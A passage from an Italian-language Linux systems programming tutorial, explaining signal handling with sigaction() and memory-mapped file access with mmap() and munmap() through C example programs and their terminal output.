2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C
Sappiamo che per gestire un segnale, abbiamo due chiamate di sistema, ovvero signal () o sigaction (). Finora abbiamo visto con la chiamata di sistema signal (), ora è il momento per la chiamata di sistema sigaction (). Modifichiamo il programma sopra per eseguire utilizzando sigaction () come segue:
/* Filename: sigHandlerSigAction.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
void handleSignals(int signum);
int main(void) {
void (*sigHandlerReturn)(int);
struct sigaction mysigaction;
mysigaction.sa_handler = handleSignals;
sigemptyset(&mysigaction.sa_mask);
mysigaction.sa_flags = 0;
sigaction(SIGINT, &mysigaction, NULL);
if (mysigaction.sa_handler == SIG_ERR) {
perror("signal error: ");
return 1;
}
mysigaction.sa_handler = handleSignals;
sigemptyset(&mysigaction.sa_mask);
mysigaction.sa_flags = 0;
sigaction(SIGQUIT, &mysigaction, NULL);
if (mysigaction.sa_handler == SIG_ERR) {
perror("signal error: ");
return 1;
}
while (-1) {
printf("\nTo terminate this program, perform either of the following: \n");
printf("1. Open another terminal and issue command: kill %d\n", getpid());
printf("2. Issue CTRL+C 2 times (second time it terminates)\n");
sleep(10);
}
return 0;
}
void handleSignals(int signum) {
switch(signum) {
case SIGINT:
printf("\nYou have entered CTRL+C \n");
printf("Now reverting SIGINT signal to perform default action\n");
signal(SIGINT, SIG_DFL);
break;
case SIGQUIT:
printf("\nYou have entered CTRL+\\ \n");
break;
default:
printf("\nReceived signal number %d\n", signum);
break;
}
return;
}
Vediamo il processo di compilazione ed esecuzione. Nel processo di esecuzione, vediamo il problema CTRL + C due volte, i controlli / modi rimanenti (come sopra) puoi provare anche per questo programma.
Fasi di compilazione ed esecuzione
To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C
You have entered CTRL+C
Now reverting SIGINT signal to perform default action
To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C
La chiamata di sistema mmap () fornisce la mappatura nello spazio degli indirizzi virtuali del processo chiamante che mappa i file o i dispositivi nella memoria. Questo è di due tipi:
File mapping or File-backed mapping- Questa mappatura mappa l'area della memoria virtuale del processo sui file. Ciò significa che la lettura o la scrittura in quelle aree di memoria provoca la lettura o la scrittura del file. Questo è il tipo di mappatura predefinito.
Anonymous mapping- Questa mappatura mappa l'area della memoria virtuale del processo senza il supporto di alcun file. I contenuti vengono inizializzati a zero. Questa mappatura è simile all'allocazione dinamica della memoria (malloc ()) e viene utilizzata in alcune implementazioni di malloc () per determinate allocazioni.
La memoria in una mappatura del processo può essere condivisa con le mappature in altri processi. Questo può essere fatto in due modi:
Quando due processi mappano la stessa regione di un file, condividono le stesse pagine di memoria fisica.
Se viene creato un processo figlio, eredita le mappature del genitore e queste mappature si riferiscono alle stesse pagine di memoria fisica di quella del genitore. In caso di modifica dei dati nel processo figlio, verranno create pagine diverse per il processo figlio.
Quando due o più processi condividono le stesse pagine, ogni processo può vedere le modifiche del contenuto della pagina apportate da altri processi a seconda del tipo di mappatura. Il tipo di mappatura può essere privato o condiviso -
Private Mapping (MAP_PRIVATE) - Le modifiche al contenuto di questa mappatura non sono visibili ad altri processi e la mappatura non viene trasferita al file sottostante.
Shared Mapping (MAP_SHARED) - Le modifiche al contenuto di questa mappatura sono visibili ad altri processi e la mappatura viene trasferita al file sottostante.
#include <sys/mman.h>
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
La chiamata di sistema precedente restituisce l'indirizzo iniziale della mappatura in caso di successo o MAP_FAILED in caso di errore.
L'indirizzo virtuale addr, può essere specificato dall'utente o generato dal kernel (dopo aver passato addr come NULL). La lunghezza del campo indicata richiede la dimensione della mappatura in byte. Il campo prot indica i valori di protezione della memoria come PROT_NONE, PROT_READ, PROT_WRITE, PROT_EXEC destinati a regioni a cui non è possibile accedere, leggere, scrivere o eseguire rispettivamente. Questo valore può essere singolo (PROT_NONE) o può essere ORd con uno dei tre flag (gli ultimi 3). I flag di campo indicano il tipo di mappatura o MAP_PRIVATE o MAP_SHARED. Il campo 'fd' indica il descrittore del file che identifica il file da mappare e il campo 'offset' implica il punto di partenza del file, se è necessario mappare l'intero file, l'offset dovrebbe essere zero.
#include <sys/mman.h>
int munmap(void *addr, size_t length);
La chiamata di sistema precedente restituisce 0 in caso di successo o -1 in caso di errore.
La chiamata di sistema munmap, esegue l'annullamento della mappatura della regione già mappata in memoria. I campi addr indicano l'indirizzo iniziale della mappatura e la lunghezza indica la dimensione in byte della mappatura da non mappare. Di solito, la mappatura e l'annullamento della mappatura riguardano le intere regioni mappate. Se questo deve essere diverso, dovrebbe essere ridotto o tagliato in due parti. Se l'addr non ha alcuna mappatura, questa chiamata non avrebbe effetto e la chiamata restituirà 0 (successo).
Consideriamo un esempio:
Step 1 - Scrivi nel file caratteri alfanumerici come mostrato di seguito -
0 | 1 | 2 | … | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | … | 59 | 60 | 61 |
A | B | C | … | Z | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | A | b | c | … | x | y | z |
Step 2- Mappare il contenuto del file in memoria utilizzando la chiamata di sistema mmap (). Ciò restituirebbe l'indirizzo iniziale dopo la mappatura nella memoria.
Step 3- Accedi al contenuto del file usando la notazione array (può anche accedere con notazione puntatore) poiché non legge la costosa chiamata di sistema read (). Utilizzando la mappatura della memoria, evitare la copia multipla tra lo spazio utente, i buffer dello spazio del kernel e la cache del buffer.
Step 4 - Ripetere la lettura del contenuto del file fino a quando l'utente non immette "-1" (indica la fine dell'accesso).
Step 5 - Eseguire attività di pulizia, ad esempio, rimuovere la mappatura della regione di memoria mappata (munmap ()), chiudere il file e rimuovere il file.
/* Filename: mmap_test.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
void write_mmap_sample_data();
int main() {
struct stat mmapstat;
char *data;
int minbyteindex;
int maxbyteindex;
int offset;
int fd;
int unmapstatus;
write_mmap_sample_data();
if (stat("MMAP_DATA.txt", &mmapstat) == -1) {
perror("stat failure");
return 1;
}
if ((fd = open("MMAP_DATA.txt", O_RDONLY)) == -1) {
perror("open failure");
return 1;
}
data = mmap((caddr_t)0, mmapstat.st_size, PROT_READ, MAP_SHARED, fd, 0);
if (data == (caddr_t)(-1)) {
perror("mmap failure");
return 1;
}
minbyteindex = 0;
maxbyteindex = mmapstat.st_size - 1;
do {
printf("Enter -1 to quit or ");
printf("enter a number between %d and %d: ", minbyteindex, maxbyteindex);
scanf("%d",&offset);
if ( (offset >= 0) && (offset <= maxbyteindex) )
printf("Received char at %d is %c\n", offset, data[offset]);
else if (offset != -1)
printf("Received invalid index %d\n", offset);
} while (offset != -1);
unmapstatus = munmap(data, mmapstat.st_size);
if (unmapstatus == -1) {
perror("munmap failure");
return 1;
}
close(fd);
system("rm -f MMAP_DATA.txt");
return 0;
}
void write_mmap_sample_data() {
int fd;
char ch;
struct stat textfilestat;
fd = open("MMAP_DATA.txt", O_CREAT|O_TRUNC|O_WRONLY, 0666);
if (fd == -1) {
perror("File open error ");
return;
}
// Write A to Z
ch = 'A';
while (ch <= 'Z') {
write(fd, &ch, sizeof(ch));
ch++;
}
// Write 0 to 9
ch = '0';
while (ch <= '9') {
write(fd, &ch, sizeof(ch));
ch++;
}
// Write a to z
ch = 'a';
while (ch <= 'z') {
write(fd, &ch, sizeof(ch));
ch++;
}
close(fd);
return;
}
Produzione
Enter -1 to quit or enter a number between 0 and 61: 3
Received char at 3 is D
Enter -1 to quit or enter a number between 0 and 61: 28
Received char at 28 is 2
Enter -1 to quit or enter a number between 0 and 61: 38
Received char at 38 is c
Enter -1 to quit or enter a number between 0 and 61: 59
Received char at 59 is x
Enter -1 to quit or enter a number between 0 and 61: 65
Received invalid index 65
Enter -1 to quit or enter a number between 0 and 61: -99
Received invalid index -99
Enter -1 to quit or enter a number between 0 and 61: -1